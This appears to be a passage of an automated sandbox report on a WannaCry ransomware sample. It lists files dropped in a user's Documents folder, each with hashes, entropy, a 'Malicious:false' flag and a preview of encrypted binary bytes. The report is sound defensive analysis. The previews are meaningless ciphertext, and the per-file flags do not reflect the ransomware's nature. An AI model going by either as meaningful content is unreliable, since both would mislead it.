                                                                                                                                                                              Preview:....u .).av..{.D}....I3..g..I.]..(4....6..R.\...$.K.s....^.].T.lXb.`Ot.q\"....)...L.c..Rv.\..O....... ..?.|.\...H..3.*....{..zh*.{.cXM%.m\3...jP.B...:C.];..6"......-,...E[...3r.$2....2.r............@.e>g.(B..........T..]...... .4...Y)~......4H..@.G..s..f.k.U..h..J.|j.#.T65=..`.lqaZ....9%.Kc..A.........w(.X.H"R..Z..h:...W...JFXp..v!%..B..R...%....6.(y........3..... F...q....B....~....C....W..I.:.#vh\....j.T...JQ..H...nz......DR.......k.>.Pk......2.D....a.W.. \R...."M..L..?..i.4../Y.,.....bf.f.R.n.../t.D"....=...N..c.I... j(...]wq$....zqrZ..:.G......4....../7.$.W.FL.P..".7..2.f.<M.:x..A.b.x.v.....'*.B.........q7^..h..B..X.......7..`..;u...a.DV..S..I.0i........eN..uUp.OE...w..$B.N(.B0....V..#.w.b.k.@..TD..>...M$.v...hx.v$.b....@.../n<"...8..... g.C....&.I.l...f ....:'uf.F..).Gy......x.q..........|Ew.....P(.tI.j.c..\/E..J-.4.$.p....~CJR....2.C..Lm..V2...R.)1....+.h/...d#...<...Xm.,g...[.......#...1..V$..pb.....K....k+.eEL.S.t...F.Z(s..q.]Gw.<.3.

                                                                                                                                                                              C:\Users\user\Documents\BJZFPPWAPT\BJZFPPWAPT.docx.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.85660459445168
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk0YsTckeczjrhuxWHVPhlVV2+qHZ3BCVsGM49OpVX+r13QC28GNBHMi:bk0lFjrPPh3ETuZIORg/9Mi
                                                                                                                                                                              MD5:14E9925C64B1993066A13D8CA99E6A9C
                                                                                                                                                                              SHA1:29CC36A76760C7E71B69C22E4C3A9FCD4C5E2130
                                                                                                                                                                              SHA-256:E1C075AB435421F04B50C03D27E12A69C31A7489D8FE3B176E8DC1B81BBB422E
                                                                                                                                                                              SHA-512:0A646309EB884F06F87D5230B91C915A5485E22BADE8404AC56317B28404C1BD212A289BD41A02C68210D36B0F27B40AF8FED93B9BF65B2896090CE1F4BDCED3
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....m...E..C...+..;1..&0.2O.ne.tc._.B..A.....}./HLoZ-.7.b.Oy....|E..54.P...$..~f.....(.y...B...dx..}9..E.o.....{.X....UO..^2.$.9).Y..m.L..-..z"M..u......r.......-.j..5U.-......3..rp......Z.. ve&.%...^d.....I....cY./8..1..*O.......BHuQx^qf.>.w}...%QuZ................8vW?..x.>.L...5.....]b..XEk....D...G....L.:(.......(......C..c..Ge..v;M..I..4......\g{(...>.~.].b.g.....d..D.{.X......U..*.O=h...w8..;....tA/3..7.._.r.&2I..b...d....`.......]Hs".Zf..#.&.,.z..8..N|d|!..W...r.X1. 8.K...\6....E.a.A.L..d.S.u...&1~.`7...[;.-..i.bv..}.-.4{.n.a.Z.qZ.G..x$fu..j......XUU...."..,K.$r...W..|g..._*.B...6.pXgb2."..{.#.g..H.....yK.....?....H+.H....K....H...J.n.2.3}0ZL.......0...~ti.............}yD.R...G...8../l~..q8..y.........rG.dO.28.5m.........g.0.t.N..w."....@9...&...w".L.kU.p...<gw..5.....K..<.....mt&."^..2"....$..w.k .....]..8?U....N.....D.....R.ee.....vS.9..z.T.=..PZG!.S..<.v........\...8a.p....Bi...J9...n..=.i$Ek...m.y3.{...I....Q^...

                                                                                                                                                                              C:\Users\user\Documents\BJZFPPWAPT\BJZFPPWAPT.docx.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.85660459445168
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk0YsTckeczjrhuxWHVPhlVV2+qHZ3BCVsGM49OpVX+r13QC28GNBHMi:bk0lFjrPPh3ETuZIORg/9Mi
                                                                                                                                                                              MD5:14E9925C64B1993066A13D8CA99E6A9C
                                                                                                                                                                              SHA1:29CC36A76760C7E71B69C22E4C3A9FCD4C5E2130
                                                                                                                                                                              SHA-256:E1C075AB435421F04B50C03D27E12A69C31A7489D8FE3B176E8DC1B81BBB422E
                                                                                                                                                                              SHA-512:0A646309EB884F06F87D5230B91C915A5485E22BADE8404AC56317B28404C1BD212A289BD41A02C68210D36B0F27B40AF8FED93B9BF65B2896090CE1F4BDCED3
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....m...E..C...+..;1..&0.2O.ne.tc._.B..A.....}./HLoZ-.7.b.Oy....|E..54.P...$..~f.....(.y...B...dx..}9..E.o.....{.X....UO..^2.$.9).Y..m.L..-..z"M..u......r.......-.j..5U.-......3..rp......Z.. ve&.%...^d.....I....cY./8..1..*O.......BHuQx^qf.>.w}...%QuZ................8vW?..x.>.L...5.....]b..XEk....D...G....L.:(.......(......C..c..Ge..v;M..I..4......\g{(...>.~.].b.g.....d..D.{.X......U..*.O=h...w8..;....tA/3..7.._.r.&2I..b...d....`.......]Hs".Zf..#.&.,.z..8..N|d|!..W...r.X1. 8.K...\6....E.a.A.L..d.S.u...&1~.`7...[;.-..i.bv..}.-.4{.n.a.Z.qZ.G..x$fu..j......XUU...."..,K.$r...W..|g..._*.B...6.pXgb2."..{.#.g..H.....yK.....?....H+.H....K....H...J.n.2.3}0ZL.......0...~ti.............}yD.R...G...8../l~..q8..y.........rG.dO.28.5m.........g.0.t.N..w."....@9...&...w".L.kU.p...<gw..5.....K..<.....mt&."^..2"....$..w.k .....]..8?U....N.....D.....R.ee.....vS.9..z.T.=..PZG!.S..<.v........\...8a.p....Bi...J9...n..=.i$Ek...m.y3.{...I....Q^...

                                                                                                                                                                              C:\Users\user\Documents\BJZFPPWAPT\CZQKSDDMWR.mp3

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.843789724581842
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:HNXAuhhkwTGLTXOi9R/L9sixq/OffUAsZgZOsPusDgziyuN:HNQUhkwTKTei9R/2bO6u9czit
                                                                                                                                                                              MD5:6A0C5B1E3D45BE1A3969B846A019881C
                                                                                                                                                                              SHA1:609173C59DD70261B3262F392D4ADDA978855E23
                                                                                                                                                                              SHA-256:9D4E0BE4A5CC08B41B78C16E859FFEC22C6E0E830D2EB12E46C67C15DF828558
                                                                                                                                                                              SHA-512:051479A37C687E931A16E8B015ADB86007AEBA7735B6BEC5873E701640E2E10D3063FA9AAE44FF581A77B295F54B9B0331EE17B223A57CE132760E9AF712B5AA
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:..Q..)H.H.3p..C.l....'8U.i|....-.{......W..j.....529.,.._~j.....j...;g.}...E..J....~...I..Gv......+QB..r...7..$.+k.r........3.9L..l)..X.!..f..S..G.H.......\.S..A...........O.#o...;=.p*.=.t6.B.e.c.q..c.N./.Z.m*).......|.6.!.oNY}1.\Y....+..2].(.D.....t]ub@'.E....g.,....z._V...."...b._.....`.<..@..y{.......h....h$.7.HB...>1=..gh(.M.W.j:.......}..B9j7.....N..^.R......t^...3.|A.Y.(...}D/.M....e.JKQ.yp.....b.R.*..0&P3...O.WV..*K....7=.Bhe_.....{..'....c.(3....E......*d.X.n.[.Z..(..H.;&.c.].mF5)....FcMf..@..8.x[}.-...:..5j.E#.b....Y.R..I.....K.?*..<..a.).....D....u.."l}..X...q...cS.;.t...%....GV......._.`5..Rd-.N...2..!.4.M..b.xG(F.....g?.3.4|. ...H.....~$.m:."..y.K.....W...{....8.w....k,..m.M..f...'!.r..........A.........V...zU-.IstS.P.c?0.J.=@.^......J.5!f0.....Yr.l3...._i.v...b.5e..m....i.;v(...n..c...Y26..n._2...buD6.B.t8...|...%E94..v.%.t.<1R..?+*....V7...O........?.......Ha.?k....'.....\.0SU.n.-E7:. <$O.w....]....Ct...J...e

                                                                                                                                                                              C:\Users\user\Documents\BJZFPPWAPT\CZQKSDDMWR.mp3.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.837835472991189
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk0RJYWnnPK74OoEGg9MnjXcDVAvj3DGMmbVdbW8+0cll19Y:bk0RqwnPZeD9MnLc50l4bWD0819Y
                                                                                                                                                                              MD5:1CE7BEAB3E4B1EB1F5B98CD9F15C1C94
                                                                                                                                                                              SHA1:92049758504B32C93B9B98C482CCBD748BE1B671
                                                                                                                                                                              SHA-256:908063B7E8F0BAD828D9D7106CB641551A8CBB00B3720B34E7A4BE8F63E5BE64
                                                                                                                                                                              SHA-512:CC18F24EFD707E9F6BC88896703B08FEDD25AD1FEFA6A6773428044B9DE8EB46206451BB5E3468A8E58B9C8B5CC69818A1B091178E769154AA314E867DBAD63E
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....<.W~=#'4.*i^.D!.]..J.i........nO.U.u..y.6j..%....jq?....D:........H...5.p3.X."../....4.O& ...1l.8..Y.DZC.].*h)..3.._...-&.55.%.9F.......J.../I..P.9>..[@x.r.E.0...F......[.4R,U...Cc...IG..........Z...%)g.v%X..)..J..?......A..... Hau..SW.....>.2...............Zh[60-m......_..{..:..P..f-.]..........I.....]...MP{^xRH.....9.....a.......K.o Gr.B.o.._.q.....-/........e..z.p....JW.kYI.Y.9.I~.V...]o.O..(..stuw..*&M.<..W..u.!.V.'..8S...;..gA..O>..4..E....cf..L}..!.......{...UA...0y..m.@....NX...=.......'.%.....k..3...c.1.v..m.n3...@.'Tx....,V'....s../...P....b..X.W.........T.&.l..d...$.A.t..W...H.T..5.n......]....../(..N5!..M..J..E....p.3\].B.^=.)5._n.J.hCuB..4X$..b...su.7.-...".i*.,...Mb..N...Eg...3.1L-P...#-j..UZ....I.>..mR]...V..iQ<u.fw.q.../Z...Z......=15#f..R.|.....3.ix..9Lg.M.z....=....|..d6...HM...V...#a.b..n..N.x......g.. .....h.(O....!0.D.Q/ft.S[.s.a2..w.[.l..."_.9..m%0....v.7c!.......P9Q...%p+..JEqb..](.$...2....qO..Lt6.qd.E....

                                                                                                                                                                              C:\Users\user\Documents\BJZFPPWAPT\CZQKSDDMWR.mp3.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.837835472991189
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk0RJYWnnPK74OoEGg9MnjXcDVAvj3DGMmbVdbW8+0cll19Y:bk0RqwnPZeD9MnLc50l4bWD0819Y
                                                                                                                                                                              MD5:1CE7BEAB3E4B1EB1F5B98CD9F15C1C94
                                                                                                                                                                              SHA1:92049758504B32C93B9B98C482CCBD748BE1B671
                                                                                                                                                                              SHA-256:908063B7E8F0BAD828D9D7106CB641551A8CBB00B3720B34E7A4BE8F63E5BE64
                                                                                                                                                                              SHA-512:CC18F24EFD707E9F6BC88896703B08FEDD25AD1FEFA6A6773428044B9DE8EB46206451BB5E3468A8E58B9C8B5CC69818A1B091178E769154AA314E867DBAD63E
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....<.W~=#'4.*i^.D!.]..J.i........nO.U.u..y.6j..%....jq?....D:........H...5.p3.X."../....4.O& ...1l.8..Y.DZC.].*h)..3.._...-&.55.%.9F.......J.../I..P.9>..[@x.r.E.0...F......[.4R,U...Cc...IG..........Z...%)g.v%X..)..J..?......A..... Hau..SW.....>.2...............Zh[60-m......_..{..:..P..f-.]..........I.....]...MP{^xRH.....9.....a.......K.o Gr.B.o.._.q.....-/........e..z.p....JW.kYI.Y.9.I~.V...]o.O..(..stuw..*&M.<..W..u.!.V.'..8S...;..gA..O>..4..E....cf..L}..!.......{...UA...0y..m.@....NX...=.......'.%.....k..3...c.1.v..m.n3...@.'Tx....,V'....s../...P....b..X.W.........T.&.l..d...$.A.t..W...H.T..5.n......]....../(..N5!..M..J..E....p.3\].B.^=.)5._n.J.hCuB..4X$..b...su.7.-...".i*.,...Mb..N...Eg...3.1L-P...#-j..UZ....I.>..mR]...V..iQ<u.fw.q.../Z...Z......=15#f..R.|.....3.ix..9Lg.M.z....=....|..d6...HM...V...#a.b..n..N.x......g.. .....h.(O....!0.D.Q/ft.S[.s.a2..w.[.l..."_.9..m%0....v.7c!.......P9Q...%p+..JEqb..](.$...2....qO..Lt6.qd.E....

                                                                                                                                                                              C:\Users\user\Documents\BJZFPPWAPT\EOWRVPQCCS.xlsx

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.783263711896095
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:L2cZBEYxkrhvE2j0Ajitqrj8O2LU4n8SoPn:dLGrhvE2j0AjiY86j
                                                                                                                                                                              MD5:466D31D69D160FF85B08CF9655B4E3E9
                                                                                                                                                                              SHA1:C0E7C085F4933AA7CC49BB2F10279EDE992F8266
                                                                                                                                                                              SHA-256:EA20310C5B0B977505C72A79CCD8664CB87EE101357C8CB065B1C52D3D5F701E
                                                                                                                                                                              SHA-512:48C0A1CB24180D62D919517B92708E5FED5C48FA98F3C959EC5E64D33C8374951520CD01F6081B908776A081D73CBB00742124E7623E60FA87F6BCA221B47EEB
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:..T.B...]_3..2.z.~".......6./.D/#.d..[.....d..k..'.....n.~=.=..m.....S.....+L..+..0X...L-.........3.W8...p...O..^..3.Q..j.jYL...UWM9.!.@..{....T/M._..|.c.0v].oo..n?.(..7*...Jg...Psk:.Z9.nB..gmpn0.F...#.......W....vSk.HGR..j....q..M.s.6R..x..O..b..c...{.._..lR.yf..../..4....Pg.8......>.s.E...... ..$U...|.6.,.*.......:^^Y].z.....G.!Qj.9..c.H.(.../.p1..E.n......//D.6..S..s".!..V.k..q....B.x..AS(]..S.0.f.\...d=!..!.e.........i..8.#.n..qz....;,.r#.....[1.M....u.9.]@:...BM,I...u..1.2..D8#.AI..<pT..z........./.0#F....KD.H;zw.s...&SI.....i...X.. $=.=.^.K6R.CsN.6`.wX.w...%S.....r....q.Cq...w...J^..i...*.g.A}d.u.t6....J.Nu:....b ..-]M....d...r&Z.....a.G5a@..2..u..]..f.O.DV..4ub.../......|.8B..!..e[..7.dKL0..*..V......X.>.5....W.6.,.`eV..~.YM............2b.......&.H'.,...C.N".....\@V..........4.*z..'....X.....).0K.P......l'-....d.|(]...........&...oF...h.)..Mg..*.#>y..r.&..4.a.|.A\..+.6...{..._..:f5P.H.z..+C....K2..V.".S..rT..u"7r..s.(...b.

                                                                                                                                                                              C:\Users\user\Documents\BJZFPPWAPT\EOWRVPQCCS.xlsx.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.874677409629079
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkqnaw/EvhWFjxF0c2MxXnxszSIl7541KNeakBayk+N7CB3rtgIh:bkwaAyUj8c2w3xs3lGxawxH7erGIh
                                                                                                                                                                              MD5:50C312E762DE3A4ED23C215AE8DD4DA2
                                                                                                                                                                              SHA1:E1D7F39B2CD8A35318B73AC1C07C43CFC705CD56
                                                                                                                                                                              SHA-256:1C15EEFB5856B9BD5B85964D155B1A6A41FABC1C274952CC080C37DB4E0A8162
                                                                                                                                                                              SHA-512:BB096E72A40579488AB55DE2F7386B3CEC6385AAC349669884DCA7E65F0B85C65CCECCE7D6BB28BE5DCAA10CAE8A8A4437881A5FB8E92D9257A6293721A24F2B
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....!.&Y#s-3.._b.....'.G.L.M...w.y....0.0....e.....w(.Ua7.,.5.....H.....@.n(.9V)...:3R.gMD...d..p...S....V&,....06k...m.}fU.....@.7t..`3.j2..b....-..3....-..9>Y'...5.9.....p...7..G,....`.Q.Oh...'.!..4h.B}..H.q......O...>X.g.U...2.*.x.....D................n..i. .s._.X.}.fL......+.tn6....6~.>...Jb..xoW.qEo\ABA..A|..j.Q..4.8..MnTj.!Z.U.{{.W..TNQG....X..=....p....r.3..Tr.s..Z!...T...*..#.0b.7T.nG...Mg0.Iit.xl3m..Z.y.....zj...&/. _.W..A...cW.+`...v.........K]..?.hc.....':...bm.....%5.[V.....:U...(.Q|W..%h....]+.}..F.Y...X.5..v}}..Ox|.....n.7d.o....v.M....?...ei.Vj~.nN.&..G%.>.O..v..j.'.KwV.+QWI?.`s..y...L......~.Q......6&\0...Kd. ...,D+.i....C.N1.14.L...:....I."....s.....L.w.k%.~.c.S.Xx....T."x;f.l"E...X.....k.=G.B.$...N&.5n......N.c......^...Q.V^m.b....]n....u...r.....I+...9...} ...k..t..;_BZ........Lng.;{...yw....h.oB...<....\.......v..t....._.}R.b+.....R...].tge8.[p..-.\......o..3..1.i.`.K|k/.J..R6.0|..V..v.u9..h&L....T..Ui.u^..

                                                                                                                                                                              C:\Users\user\Documents\BJZFPPWAPT\EOWRVPQCCS.xlsx.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.874677409629079
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkqnaw/EvhWFjxF0c2MxXnxszSIl7541KNeakBayk+N7CB3rtgIh:bkwaAyUj8c2w3xs3lGxawxH7erGIh
                                                                                                                                                                              MD5:50C312E762DE3A4ED23C215AE8DD4DA2
                                                                                                                                                                              SHA1:E1D7F39B2CD8A35318B73AC1C07C43CFC705CD56
                                                                                                                                                                              SHA-256:1C15EEFB5856B9BD5B85964D155B1A6A41FABC1C274952CC080C37DB4E0A8162
                                                                                                                                                                              SHA-512:BB096E72A40579488AB55DE2F7386B3CEC6385AAC349669884DCA7E65F0B85C65CCECCE7D6BB28BE5DCAA10CAE8A8A4437881A5FB8E92D9257A6293721A24F2B
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....!.&Y#s-3.._b.....'.G.L.M...w.y....0.0....e.....w(.Ua7.,.5.....H.....@.n(.9V)...:3R.gMD...d..p...S....V&,....06k...m.}fU.....@.7t..`3.j2..b....-..3....-..9>Y'...5.9.....p...7..G,....`.Q.Oh...'.!..4h.B}..H.q......O...>X.g.U...2.*.x.....D................n..i. .s._.X.}.fL......+.tn6....6~.>...Jb..xoW.qEo\ABA..A|..j.Q..4.8..MnTj.!Z.U.{{.W..TNQG....X..=....p....r.3..Tr.s..Z!...T...*..#.0b.7T.nG...Mg0.Iit.xl3m..Z.y.....zj...&/. _.W..A...cW.+`...v.........K]..?.hc.....':...bm.....%5.[V.....:U...(.Q|W..%h....]+.}..F.Y...X.5..v}}..Ox|.....n.7d.o....v.M....?...ei.Vj~.nN.&..G%.>.O..v..j.'.KwV.+QWI?.`s..y...L......~.Q......6&\0...Kd. ...,D+.i....C.N1.14.L...:....I."....s.....L.w.k%.~.c.S.Xx....T."x;f.l"E...X.....k.=G.B.$...N&.5n......N.c......^...Q.V^m.b....]n....u...r.....I+...9...} ...k..t..;_BZ........Lng.;{...yw....h.oB...<....\.......v..t....._.}R.b+.....R...].tge8.[p..-.\......o..3..1.i.`.K|k/.J..R6.0|..V..v.u9..h&L....T..Ui.u^..

                                                                                                                                                                              C:\Users\user\Documents\BJZFPPWAPT\EWZCVGNOWT.pdf

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.795796016784152
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:teCb/nxBB1jCcDrVEv1sRdX0EfWtkY2qdvnH2y/X02pqIt9:cCtBnTqvQ50fRbPH2y/XNFb
                                                                                                                                                                              MD5:0DD712DA3C626352C3BE27A1F89E44DB
                                                                                                                                                                              SHA1:B8C8A007F8337BF7240CAB7BAE2FD45D1CBBC2F4
                                                                                                                                                                              SHA-256:27D8551949DC2D1ABBE62EEB9FEC24FA1909986D9DA3B17B7ECCFC877718FDFD
                                                                                                                                                                              SHA-512:25C337A1F8C9C1312CD160DA53529D611DC7D049BFC5F5ED312D27780E6C856804663900BFEC581C63515FB2103D82E6B5A83FC29F7995F2BEAC182062EF1343
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:.r".'..mPWe.l.2.......'S.Z~F.O......d.l....o...|$.@..:Cj}..k@...?...+.Z..N...tL....$..6....}K5.. ..?..M.P......G.%...*.1..X+6'....E...}......j.z...R......P.7j._..2.f.(.......$.B..M..".[}..L .. X(.-.t..0......#..$N..ts..........8.".+.[....*.d....:....~~..;.[....Ku/..o......x.Y.=....0.,...V...E..V..PD..wOj..B...`.n.....a.?.k..^.T..oq.....2<............>.O~Y_..z/.dQ49....B.7.\..)"L.=i.c..'.. .Ni..B.:..O.'..j.R.....6..".<..v~>.....1.$O....".....P....l.q...Q=.^....1t.a|..l..:.!.[..*.h.....3&.W.4......Z.j..E.ZuG..!...T......)"....X...*..Z..........W%..U.1C..Wd).lL...O..Xw.4.h.WO,.o}.9.$.Y#...*.S[......B.A.WKIX.:.....r...b.[.Zi.7H [F.4}Q..4.....;...Dr...|.!0N.K...@yZ#.....Md.`.W....Ih..E.a.U..=mb:.5....8.......).....s....s.......5.;2.W,...X.N..t:..Q..'.O........Y..(.|..).O".....eeP.ke.w..U.P..I.<|.?s........*Hh..9...V...>(....S.].L).=.Gh.;P....,...2.g,W./<o.....`Z...8.X+.w....4.a.Z..(...b.i.DC.I(.G...-H.'...k....&.y..K.R....:T...tA...u..cY4....u....{.n.

                                                                                                                                                                              C:\Users\user\Documents\BJZFPPWAPT\EWZCVGNOWT.pdf.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.844957635561102
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk4ucgxm85fbqsPY3J5eM8wdqb0Sbl7aBw3lAYA4Ar+vBtMDiZ90yD+d:bkHcgxm81fY3J5YWqR/w4AzDiYQ+d
                                                                                                                                                                              MD5:7747AF5998B7704C5690CE6FCB6091F3
                                                                                                                                                                              SHA1:C17C49F33E678324216D35741F49AC8C079552E9
                                                                                                                                                                              SHA-256:4ABD894905A7AE23BD7CCFBA2F6846CF5523B9B5EF6A41E45F289B05F22F1925
                                                                                                                                                                              SHA-512:100318243A889B4DD9A428D24702642279504953770F535FBED7A04518302B6755AE44563BE67BBF5E83F5C2AD514F917113DAE001E97FAF090BE4C60BF8518A
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......Y0|..W.P..|C.=.\..Q..e...y*...B.91.K....?..A@42.E7.'.7I`.t.L...G(s9..cN....|..hB...)..ga......R2.".m.\.*...3$a.p.J.%..........M..0l]..k........._..%..X..9/#.k......c{A.+F.8....G.4........#A.6.A.3..G.J....lg.\w..90..*..hj.u..P..P..f....KG.P6K.._.............H.N.....:...9....t..GL....S+.......p!_V3DN.#].%N.........D;.x....g....{j.!.d.l!u....Z.e..M....e.......W..a(qg.O.-UI.&.m..^...(....U..z.{.*Jz.:....r.8.....&...;.p."P....D.*....H...|.>..Z...&P.....A.iN.A.S.O.B...~...W.?w.^...%9i..O..0..../.`.wQ.?1.T.F...zpP...^..1.z.U`..$.t].p.W...QI.C..%.:?..;...0..D...b..l?.i..r<~....1..1._..j. \....U..&&..K..m.y+:...2^._"..G.-V.L&..$...e6....,.j....=_..m..Q.q....-r].m..d..=.8BU....M.e.yYyZ.gqY.... T.<....T..s/..T..g.49.H...3.uh\fP...b`K..c..../...L......R....s.Z.... qN.lY'"..^.$J..d...6.g.3..=...l............*S..}..J...R.{wJ......L..16T ......px.m..,..Qp.(..c_)....mIl.....I:..d:..~1.Dq....H.Yt\.....B,yQ....x.Vn..0..O..(..a."..a...

                                                                                                                                                                              C:\Users\user\Documents\BJZFPPWAPT\EWZCVGNOWT.pdf.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.844957635561102
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk4ucgxm85fbqsPY3J5eM8wdqb0Sbl7aBw3lAYA4Ar+vBtMDiZ90yD+d:bkHcgxm81fY3J5YWqR/w4AzDiYQ+d
                                                                                                                                                                              MD5:7747AF5998B7704C5690CE6FCB6091F3
                                                                                                                                                                              SHA1:C17C49F33E678324216D35741F49AC8C079552E9
                                                                                                                                                                              SHA-256:4ABD894905A7AE23BD7CCFBA2F6846CF5523B9B5EF6A41E45F289B05F22F1925
                                                                                                                                                                              SHA-512:100318243A889B4DD9A428D24702642279504953770F535FBED7A04518302B6755AE44563BE67BBF5E83F5C2AD514F917113DAE001E97FAF090BE4C60BF8518A
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......Y0|..W.P..|C.=.\..Q..e...y*...B.91.K....?..A@42.E7.'.7I`.t.L...G(s9..cN....|..hB...)..ga......R2.".m.\.*...3$a.p.J.%..........M..0l]..k........._..%..X..9/#.k......c{A.+F.8....G.4........#A.6.A.3..G.J....lg.\w..90..*..hj.u..P..P..f....KG.P6K.._.............H.N.....:...9....t..GL....S+.......p!_V3DN.#].%N.........D;.x....g....{j.!.d.l!u....Z.e..M....e.......W..a(qg.O.-UI.&.m..^...(....U..z.{.*Jz.:....r.8.....&...;.p."P....D.*....H...|.>..Z...&P.....A.iN.A.S.O.B...~...W.?w.^...%9i..O..0..../.`.wQ.?1.T.F...zpP...^..1.z.U`..$.t].p.W...QI.C..%.:?..;...0..D...b..l?.i..r<~....1..1._..j. \....U..&&..K..m.y+:...2^._"..G.-V.L&..$...e6....,.j....=_..m..Q.q....-r].m..d..=.8BU....M.e.yYyZ.gqY.... T.<....T..s/..T..g.49.H...3.uh\fP...b`K..c..../...L......R....s.Z.... qN.lY'"..^.$J..d...6.g.3..=...l............*S..}..J...R.{wJ......L..16T ......px.m..,..Qp.(..c_)....mIl.....I:..d:..~1.Dq....H.Yt\.....B,yQ....x.Vn..0..O..(..a."..a...

                                                                                                                                                                              C:\Users\user\Documents\BJZFPPWAPT\NYMMPCEIMA.png

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:SysEx File -
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.748274709438266
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:akMCwjpQHTByTVw89DAuO0SL3Ari/gqHoggD1J7hBZ6s8chk8Z:9MBGHVydDA4SL3Ar4gmg6Ahk8Z
                                                                                                                                                                              MD5:2ABF4D7C45D22928E2A1BB1F57D14FC5
                                                                                                                                                                              SHA1:1D0334E62919A912E0EDA60A0E6F44DFBDF6F0C4
                                                                                                                                                                              SHA-256:6AE69D6F95E4E5BBAD1FF473F5D574A424C76782F7F4CCFA354AC45F9B61DBD9
                                                                                                                                                                              SHA-512:07ABB8A605796C996C6657E462925C701CED1A98946CAB6001A8B4A56C4564F43FD28034C0ED202D56E43B465702841798459DC5D3CC4EC278BCFA5BAABC4BB5
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
